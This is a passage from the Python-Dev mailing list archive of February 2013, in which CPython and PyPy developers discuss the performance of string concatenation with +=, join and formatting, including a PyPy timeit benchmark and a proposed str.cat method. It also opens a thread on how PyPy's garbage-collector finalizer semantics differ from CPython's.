	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
Message-ID: <CAL0kPAUHqrjk4fAFBdKF4mzx20nbt4JYtTOV0L_rhfiq-JD8=A@mail.gmail.com>

On Wed, Feb 13, 2013 at 3:27 PM, Amaury Forgeot d'Arc
<amauryfa at gmail.com> wrote:
> Yes, it's jitted.

Admittedly, I have no idea in which cases the JIT kicks in, and what I
should do to make that happen to make sure I have the best possible
real-life test cases.

//Lennart

From storchaka at gmail.com  Wed Feb 13 15:56:02 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Wed, 13 Feb 2013 16:56:02 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAG8k2+7md-z0S=ytdebr-d7RnComOz-NY-OaiPXinLsVcDS8Qg@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAG8k2+7md-z0S=ytdebr-d7RnComOz-NY-OaiPXinLsVcDS8Qg@mail.gmail.com>
Message-ID: <kfg9i2$4mj$1@ger.gmane.org>

On 13.02.13 15:17, Daniel Holth wrote:
> On Wed, Feb 13, 2013 at 7:10 AM, Serhiy Storchaka <storchaka at gmail.com
> <mailto:storchaka at gmail.com>> wrote:
>     I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is
>     more than 3 and some of them are literal strings.
>
> Fixed: x = ('%s' *  len(abcd)) % abcd

No, you don't need this for the constant number of strings. Because 
almost certainly some of strings will be literals, you can write this in 
a more nice way. Compare:

     'config[' + key + '] = ' + value + '\n'
     ''.join(['config[', key, '] = ', value, '\n'])
     'config[%s] = %s\n' % (key, value)



From amauryfa at gmail.com  Wed Feb 13 16:02:57 2013
From: amauryfa at gmail.com (Amaury Forgeot d'Arc)
Date: Wed, 13 Feb 2013 16:02:57 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAL0kPAUHqrjk4fAFBdKF4mzx20nbt4JYtTOV0L_rhfiq-JD8=A@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
	<CAL0kPAUHqrjk4fAFBdKF4mzx20nbt4JYtTOV0L_rhfiq-JD8=A@mail.gmail.com>
Message-ID: <CAGmFidZ+KyYk5Ztn=54LrP6gw6JuLtQTC7it5sZ7BwBDJs=tZw@mail.gmail.com>

2013/2/13 Lennart Regebro <regebro at gmail.com>

> On Wed, Feb 13, 2013 at 3:27 PM, Amaury Forgeot d'Arc
> <amauryfa at gmail.com> wrote:
> > Yes, it's jitted.
>
> Admittedly, I have no idea in which cases the JIT kicks in, and what I
> should do to make that happen to make sure I have the best possible
> real-life test cases.
>

PyPy JIT kicks in only after 1000 iterations.
I usually use timeit.
It's funny to see how the "1000 loops" line is 5 times faster than the "100
loops":

$ ./pypy-c -m timeit -v -s "a,b,c,d='1234'" "'{}{}{}{}'.format(a,b,c,d)"
10 loops -> 2.19e-05 secs
100 loops -> 0.000122 secs
1000 loops -> 0.00601 secs
10000 loops -> 0.000363 secs
100000 loops -> 0.00528 secs
1000000 loops -> 0.0533 secs
10000000 loops -> 0.528 secs
raw times: 0.521 0.52 0.51
10000000 loops, best of 3: 0.051 usec per loop


-- 
Amaury Forgeot d'Arc
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/798dca4c/attachment.html>

From tismer at stackless.com  Wed Feb 13 18:07:22 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 18:07:22 +0100
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <CADiSq7cnZeQi6FSSaTz5XXmkDtixD+ppOJKXLQYw5TiN4GQsDw@mail.gmail.com>
References: <511AD5E1.1060209@stackless.com>
	<CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
	<511B81C3.9030905@stackless.com>
	<CADiSq7cnZeQi6FSSaTz5XXmkDtixD+ppOJKXLQYw5TiN4GQsDw@mail.gmail.com>
Message-ID: <511BC84A.80905@stackless.com>

Hey Nick,

On 13.02.13 15:44, Nick Coghlan wrote:
> On Wed, Feb 13, 2013 at 10:06 PM, Christian Tismer <tismer at stackless.com> wrote:
>> To avoid such hidden traps in larger code bases, documentation is
>> needed that clearly gives a warning saying "don't do that", like CS
>> students learn for most other languages.
> How much more explicit do you want us to be?
>
> """6. CPython implementation detail: If s and t are both strings, some
> Python implementations such as CPython can usually perform an in-place
> optimization for assignments of the form s = s + t or s += t. When
> applicable, this optimization makes quadratic run-time much less
> likely. This optimization is both version and implementation
> dependent. For performance sensitive code, it is preferable to use the
> str.join() method which assures consistent linear concatenation
> performance across versions and implementations."""
>
> from http://docs.python.org/2/library/stdtypes.html#typesseq
>
> So please don't blame us for people not reading a warning that is already there.

I don't, really not. This was a cross-posting effect.
I was using the PyPy documentation, only, and there a lot of things
are mentioned, but this behavioral difference was missing.
Python-dev was not addressed at all.

> ...
> Deliberately *relying* on the += hack to avoid quadratic runtime is
> just plain wrong, and our documentation already says so.
>
> If anyone really thinks it will help, I can add a CPython
> implementation note back in to the Python 3 docs as well, pointing out
> that CPython performance measurements may hide broken algorithmic
> complexity related to string concatenation, but the corresponding note
> in Python 2 doesn't seem to have done much good :P
>

Well, while we are at it:
Yes, it says so as a note at the end of
http://docs.python.org/2/library/stdtypes.html#typesseq

I doubt that many people read that far, and they do not search 
documentation about
sequence types when they are adding some strings together.
People seem to have a tendency to just try something out instead and see 
if it
works. That even seems to get worse the better and bigger the Python 
documentation
grows. ;-)

Maybe it would be a good idea to remove that concat optimization completely?
Then people will wake up and read the docs to find out what's wrong ;-)
No, does not help, because their test cases will not cover the reality.

-----
Thinking a bit more about it.

If you think about docs improvement, I don't believe it helps to make
the very complete reference documentation even more complete.
Completeness is great, don't take me wrong! But what people read
is what pops right into their face, and I think that could be added.

I think before getting people to work through long and
complete documentation, it is probably easier to wake their interest
by something like
"Hey, are you doing things this way?"
And then there is a short, concise list of bad and good things, maybe
even dynamic as in WingWare's "Wing Tips" or any better approach.

 From that easily reachable, only a few pages long tabular
collection of short hints and caveats there could be linkage to the 
existing, real
documentation that explains things in more detail.
Maybe that could be a way to get people to actually read.

Just an idea.

cheers - Chris


p.s.:
Other nice attempts that don't seem to really work:

Some hints like
http://docs.python.org/2/howto/doanddont.html
are not bad, although that is hidden in the HowTO section, does only
address a few things,
and also the sub-title "in-depth documents on specific topics" is not
what they seek in the first place while hacking on some code.

Looking things up in a quick ref like
http://rgruet.free.fr/PQR27/PQR2.7.html
is very concise but does also _not_ mention what to avoid.
Others exist, like
http://infohost.nmt.edu/tcc/help/pubs/python/web/

By the way, the first thing I find via google is:
http://www.python.org/doc/QuickRef.html
which is quite funny (v1.3)

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/ecdf74da/attachment-0001.html>

From python at mrabarnett.plus.com  Wed Feb 13 18:33:05 2013
From: python at mrabarnett.plus.com (MRAB)
Date: Wed, 13 Feb 2013 17:33:05 +0000
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
Message-ID: <511BCE51.4080805@mrabarnett.plus.com>

On 2013-02-13 13:23, Lennart Regebro wrote:
> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com> wrote:
>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more than 3
>> and some of them are literal strings.
>
> This has the benefit of being slow both on CPython and PyPy. Although
> using .format() is even slower. :-)
>
How about adding a class method for catenation:

     str.cat(a, b, c, d)
     str.cat([a, b, c, d]) # Equivalent to "".join([a, b, c, d])

Each argument could be a string or a list of strings.


From fijall at gmail.com  Wed Feb 13 19:06:09 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 20:06:09 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511BCE51.4080805@mrabarnett.plus.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
Message-ID: <CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>

On Wed, Feb 13, 2013 at 7:33 PM, MRAB <python at mrabarnett.plus.com> wrote:
> On 2013-02-13 13:23, Lennart Regebro wrote:
>>
>> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
>> wrote:
>>>
>>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
>>> than 3
>>> and some of them are literal strings.
>>
>>
>> This has the benefit of being slow both on CPython and PyPy. Although
>> using .format() is even slower. :-)
>>
> How about adding a class method for catenation:
>
>     str.cat(a, b, c, d)
>     str.cat([a, b, c, d]) # Equivalent to "".join([a, b, c, d])
>
> Each argument could be a string or a list of strings.
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com

I actually wonder.

There seems to be the consensus to avoid += (to some extent). Can
someone commit the change to urrllib then? I'm talking about reverting
http://bugs.python.org/issue1285086 specifically

From brett at python.org  Wed Feb 13 19:24:38 2013
From: brett at python.org (Brett Cannon)
Date: Wed, 13 Feb 2013 13:24:38 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
	<CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
Message-ID: <CAP1=2W4AyB2hFFUu=8Mi3JrzkmZJxjtz1QcyhpqYyFFwZ73wiA@mail.gmail.com>

On Wed, Feb 13, 2013 at 1:06 PM, Maciej Fijalkowski <fijall at gmail.com>wrote:

> On Wed, Feb 13, 2013 at 7:33 PM, MRAB <python at mrabarnett.plus.com> wrote:
> > On 2013-02-13 13:23, Lennart Regebro wrote:
> >>
> >> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
> >> wrote:
> >>>
> >>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
> >>> than 3
> >>> and some of them are literal strings.
> >>
> >>
> >> This has the benefit of being slow both on CPython and PyPy. Although
> >> using .format() is even slower. :-)
> >>
> > How about adding a class method for catenation:
> >
> >     str.cat(a, b, c, d)
> >     str.cat([a, b, c, d]) # Equivalent to "".join([a, b, c, d])
> >
> > Each argument could be a string or a list of strings.
> >
> >
> > _______________________________________________
> > Python-Dev mailing list
> > Python-Dev at python.org
> > http://mail.python.org/mailman/listinfo/python-dev
> > Unsubscribe:
> > http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com
>
> I actually wonder.
>
> There seems to be the consensus to avoid += (to some extent). Can
> someone commit the change to urrllib then? I'm talking about reverting
> http://bugs.python.org/issue1285086 specifically


Please re-open the bug with a comment as to why and I'm sure someone will
get to it.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/7eebe93b/attachment.html>

From fijall at gmail.com  Wed Feb 13 19:27:38 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 20:27:38 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAP1=2W4AyB2hFFUu=8Mi3JrzkmZJxjtz1QcyhpqYyFFwZ73wiA@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
	<CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
	<CAP1=2W4AyB2hFFUu=8Mi3JrzkmZJxjtz1QcyhpqYyFFwZ73wiA@mail.gmail.com>
Message-ID: <CAK5idxQCQzcEieW2VPxOBgmvPphNu+EmWYs=9SuoFmOCgFTq5Q@mail.gmail.com>

On Wed, Feb 13, 2013 at 8:24 PM, Brett Cannon <brett at python.org> wrote:
>
>
>
> On Wed, Feb 13, 2013 at 1:06 PM, Maciej Fijalkowski <fijall at gmail.com>
> wrote:
>>
>> On Wed, Feb 13, 2013 at 7:33 PM, MRAB <python at mrabarnett.plus.com> wrote:
>> > On 2013-02-13 13:23, Lennart Regebro wrote:
>> >>
>> >> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
>> >> wrote:
>> >>>
>> >>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
>> >>> than 3
>> >>> and some of them are literal strings.
>> >>
>> >>
>> >> This has the benefit of being slow both on CPython and PyPy. Although
>> >> using .format() is even slower. :-)
>> >>
>> > How about adding a class method for catenation:
>> >
>> >     str.cat(a, b, c, d)
>> >     str.cat([a, b, c, d]) # Equivalent to "".join([a, b, c, d])
>> >
>> > Each argument could be a string or a list of strings.
>> >
>> >
>> > _______________________________________________
>> > Python-Dev mailing list
>> > Python-Dev at python.org
>> > http://mail.python.org/mailman/listinfo/python-dev
>> > Unsubscribe:
>> > http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com
>>
>> I actually wonder.
>>
>> There seems to be the consensus to avoid += (to some extent). Can
>> someone commit the change to urrllib then? I'm talking about reverting
>> http://bugs.python.org/issue1285086 specifically
>
>
> Please re-open the bug with a comment as to why and I'm sure someone will
> get to it.

I can't re-open the bug, my account is kind of lame (and seriously,
why do you guys *do* have multiple layers of bug tracker accounts?)

Cheers,
fijal

From brett at python.org  Wed Feb 13 19:34:12 2013
From: brett at python.org (Brett Cannon)
Date: Wed, 13 Feb 2013 13:34:12 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxQCQzcEieW2VPxOBgmvPphNu+EmWYs=9SuoFmOCgFTq5Q@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
	<CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
	<CAP1=2W4AyB2hFFUu=8Mi3JrzkmZJxjtz1QcyhpqYyFFwZ73wiA@mail.gmail.com>
	<CAK5idxQCQzcEieW2VPxOBgmvPphNu+EmWYs=9SuoFmOCgFTq5Q@mail.gmail.com>
Message-ID: <CAP1=2W5BgzGCfTmNZbKr1pJ3tLVCiwe+cHrwoZCDFh6BnhzAFg@mail.gmail.com>

On Wed, Feb 13, 2013 at 1:27 PM, Maciej Fijalkowski <fijall at gmail.com>wrote:

> On Wed, Feb 13, 2013 at 8:24 PM, Brett Cannon <brett at python.org> wrote:
> >
> >
> >
> > On Wed, Feb 13, 2013 at 1:06 PM, Maciej Fijalkowski <fijall at gmail.com>
> > wrote:
> >>
> >> On Wed, Feb 13, 2013 at 7:33 PM, MRAB <python at mrabarnett.plus.com>
> wrote:
> >> > On 2013-02-13 13:23, Lennart Regebro wrote:
> >> >>
> >> >> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <
> storchaka at gmail.com>
> >> >> wrote:
> >> >>>
> >> >>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is
> more
> >> >>> than 3
> >> >>> and some of them are literal strings.
> >> >>
> >> >>
> >> >> This has the benefit of being slow both on CPython and PyPy. Although
> >> >> using .format() is even slower. :-)
> >> >>
> >> > How about adding a class method for catenation:
> >> >
> >> >     str.cat(a, b, c, d)
> >> >     str.cat([a, b, c, d]) # Equivalent to "".join([a, b, c, d])
> >> >
> >> > Each argument could be a string or a list of strings.
> >> >
> >> >
> >> > _______________________________________________
> >> > Python-Dev mailing list
> >> > Python-Dev at python.org
> >> > http://mail.python.org/mailman/listinfo/python-dev
> >> > Unsubscribe:
> >> > http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com
> >>
> >> I actually wonder.
> >>
> >> There seems to be the consensus to avoid += (to some extent). Can
> >> someone commit the change to urrllib then? I'm talking about reverting
> >> http://bugs.python.org/issue1285086 specifically
> >
> >
> > Please re-open the bug with a comment as to why and I'm sure someone will
> > get to it.
>
> I can't re-open the bug, my account is kind of lame


Then leave a comment and I will re-open it.


> (and seriously,
> why do you guys *do* have multiple layers of bug tracker accounts?)
>

You obviously have not had users argue with your decision by constantly
flipping a bug back open. =)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/e3d9a0ee/attachment.html>

From tismer at stackless.com  Wed Feb 13 19:40:38 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 19:40:38 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
	<CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
Message-ID: <511BDE26.5060808@stackless.com>

On 13.02.13 19:06, Maciej Fijalkowski wrote:
> On Wed, Feb 13, 2013 at 7:33 PM, MRAB <python at mrabarnett.plus.com> wrote:
>> On 2013-02-13 13:23, Lennart Regebro wrote:
>>> On Wed, Feb 13, 2013 at 1:10 PM, Serhiy Storchaka <storchaka at gmail.com>
>>> wrote:
>>>> I prefer "x = '%s%s%s%s' % (a, b, c, d)" when string's number is more
>>>> than 3
>>>> and some of them are literal strings.
>>>
>>> This has the benefit of being slow both on CPython and PyPy. Although
>>> using .format() is even slower. :-)
>>>
>> How about adding a class method for catenation:
>>
>>      str.cat(a, b, c, d)
>>      str.cat([a, b, c, d]) # Equivalent to "".join([a, b, c, d])
>>
>> Each argument could be a string or a list of strings.
>>
>>
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe:
>> http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com
> I actually wonder.
>
> There seems to be the consensus to avoid += (to some extent). Can
> someone commit the change to urrllib then? I'm talking about reverting
> http://bugs.python.org/issue1285086 specifically

So _is_ += faster in certain library funcs than ''.join() ?
If that's the case, the behavior of string concat could be something 
that might be added
to some implementation info, if speed really matters.

The library function then could take this info and use the appropriate code
path to always be fast, during module initialisation.
This is also quite explicit, since it tells the reader not to use in-place
add when it is not optimized.

If += is anyway a bit slower than other ways, forget it.
I would then maybe add a commend somewhere that says
"avoiding '+=' because it is not reliable" or something.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/


From fijall at gmail.com  Wed Feb 13 19:48:08 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 20:48:08 +0200
Subject: [Python-Dev] Marking GC details as CPython-only
Message-ID: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>

Hi

I've tried (and failed) to find what GC details (especially finalizer
semantics) are CPython only and which ones are not. The best I could
find was the documentation of __del__ here:
http://docs.python.org/2/reference/datamodel.html

Things were pypy differs:

* finalizers in pypy will be called only once, even if the object is
resurrected. I'm not sure if this is detail or we're just plain
incompatible.

* pypy breaks cycles and runs finalizers in random order (but
topologically correct), hence gc.garbage is always empty. I *think*
this part is really just an implementation detail

* we're discussing right now about running multiple finalizers. We
want to run them in order, but if there is a link a -> b and a becomes
unreachable, we want to reserve the right to call finalizer a then
finalizer b, even if a.__del__ resurrects a. What do you think?

Overall, the __del__ is baaad.

Cheers,
fijal

From storchaka at gmail.com  Wed Feb 13 19:51:48 2013
From: storchaka at gmail.com (Serhiy Storchaka)
Date: Wed, 13 Feb 2013 20:51:48 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511BDE26.5060808@stackless.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com>
	<511B5442.4020309@hastings.org> <kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
	<CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
	<511BDE26.5060808@stackless.com>
Message-ID: <kfgnc5$qff$1@ger.gmane.org>

On 13.02.13 20:40, Christian Tismer wrote:
> If += is anyway a bit slower than other ways, forget it.
> I would then maybe add a commend somewhere that says
> "avoiding '+=' because it is not reliable" or something.

+= is a fastest way (in any implementation) if you concatenates only two 
strings.



From python-dev at masklinn.net  Wed Feb 13 20:09:28 2013
From: python-dev at masklinn.net (Xavier Morel)
Date: Wed, 13 Feb 2013 20:09:28 +0100
Subject: [Python-Dev] Marking GC details as CPython-only
In-Reply-To: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
Message-ID: <40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>

On 2013-02-13, at 19:48 , Maciej Fijalkowski wrote:

> Hi
> 
> I've tried (and failed) to find what GC details (especially finalizer
> semantics) are CPython only and which ones are not. The best I could
> find was the documentation of __del__ here:
> http://docs.python.org/2/reference/datamodel.html
> 
> Things were pypy differs:
> 
> * finalizers in pypy will be called only once, even if the object is
> resurrected. I'm not sure if this is detail or we're just plain
> incompatible.
> 
> * pypy breaks cycles and runs finalizers in random order (but
> topologically correct), hence gc.garbage is always empty. I *think*
> this part is really just an implementation detail
> 
> * we're discussing right now about running multiple finalizers. We
> want to run them in order, but if there is a link a -> b and a becomes
> unreachable, we want to reserve the right to call finalizer a then
> finalizer b, even if a.__del__ resurrects a. What do you think?
> 
> Overall, the __del__ is baaad.
> 
> Cheers,
> fijal

There may be one more, although I'm not sure whether it's a GC artifact
or something completely unspecified: if a context manager is part of a
